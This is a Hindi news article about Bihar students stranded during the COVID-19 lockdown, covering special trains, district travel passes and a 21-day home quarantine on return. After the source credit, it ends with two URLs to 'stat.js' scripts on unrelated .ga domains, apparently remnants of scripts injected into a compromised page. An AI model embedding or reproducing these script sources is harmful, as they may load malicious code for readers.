लॉकडाउन (Lockdown) के कारण बड़ी संख्‍या में बिहार के छात्र दिल्‍ली व कोटा सहित देश में जगह-जगह फंसे गए हैं। उन्‍हें वापस लाने का रास्‍ता साफ हो गया है। केंद्र सरकार द्वारा उनके लिए स्‍पेशल ट्रेनें चलाई जा रही हैं। साथ ही बिहार सरकार ने भी फैसला किया है कि अभिभावक संबंधित जिलाधिकारी से पास बनवा कर अपने बच्‍चों को ला सकते हैं। सरकार के इस फैसले से राज्‍य के बाहर फंसे लाखों छात्रों व उनके अभिभावकों को बड़ी रहात मिली है।

21 दिनों तक होम क्‍वारंटाइन रहेंगे छात्र

आपदा प्रबंधन विभाग के प्रधान सचिव प्रत्यय अमृत ने बताया कि लॉकडाउन के कारण राज्‍य के बाहर फंसे छात्रों के अभिभावक अपने जिलाधिकारी से संपर्क कर उन्‍हें सड़क मार्ग से लाने का विशेष पास बनवा सकते हैं। हालांकि, ऐसे छात्रों काे बिहार आने पर 21 दिनों तक होम क्‍वारंटाइन रहना पड़ेगा।

लाखों छात्रों व अभिभावकों को बड़ी राहत

बिहार की नीतीश सरकार के इस फैसले से राज्‍य के बाहर फंसे लाखों छात्रों व उनके अभिभावकों को बड़ी राहत मिली है। कोटा में मेडिकल प्रवेश परीक्षा की तैयारी में लगे पटना के छात्र अंकित राज के अनुसार वे और उनके जैसे तममा छात्रों में अब घर वापसी की आस जग गई है। दिल्‍ली विश्‍वविद्यालय में अध्‍ययन कर रहीं अंकिता के माता-पिता पटना में रहते हैं। बिहार सरकार के इस फैसले से वे बेहद खुश हैं।

Ahmedabad: Stranded students from Kota maintain social distance as they walk out of a bus depot upon their arrival, during the nationwide lockdown to curb the spread of coronavirus, in Ahmedabad, Thursday, April 23, 2020. (PTI Photo)(PTI23-04-2020_000193B)

गाइडलाइन बदला तो सरकार ने की पहल

विदित हो कि राज्‍य के बाहर फंसे छात्र लंबे समय से घर आने के लिए परेशान थे। लेकिन लॉकडाउन के प्रावधान आड़े आ ररहे थे। हाल ही में केंद्रीय गृह मंत्रालय ने जो नई गाइडलाइन जारी की, उसके बाद राज्‍य के बाहर फंसे लोगों की वापसी का रास्‍ता खुला। इसके बाद मुख्‍यमंत्री नीतीश कुमार ने पहल कर ऐसे लोगों के लिए स्‍पेशल ट्रेनें चलाने की मांग की। ये ट्रेनें चलने लगी हैं। साथ ही छात्रों की वापसी के लिए अभिभाकों के लिए विशेष पास बनवाने की व्‍यवस्‍था भी कर दी गई है।

साभार :- जागरणhttps://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms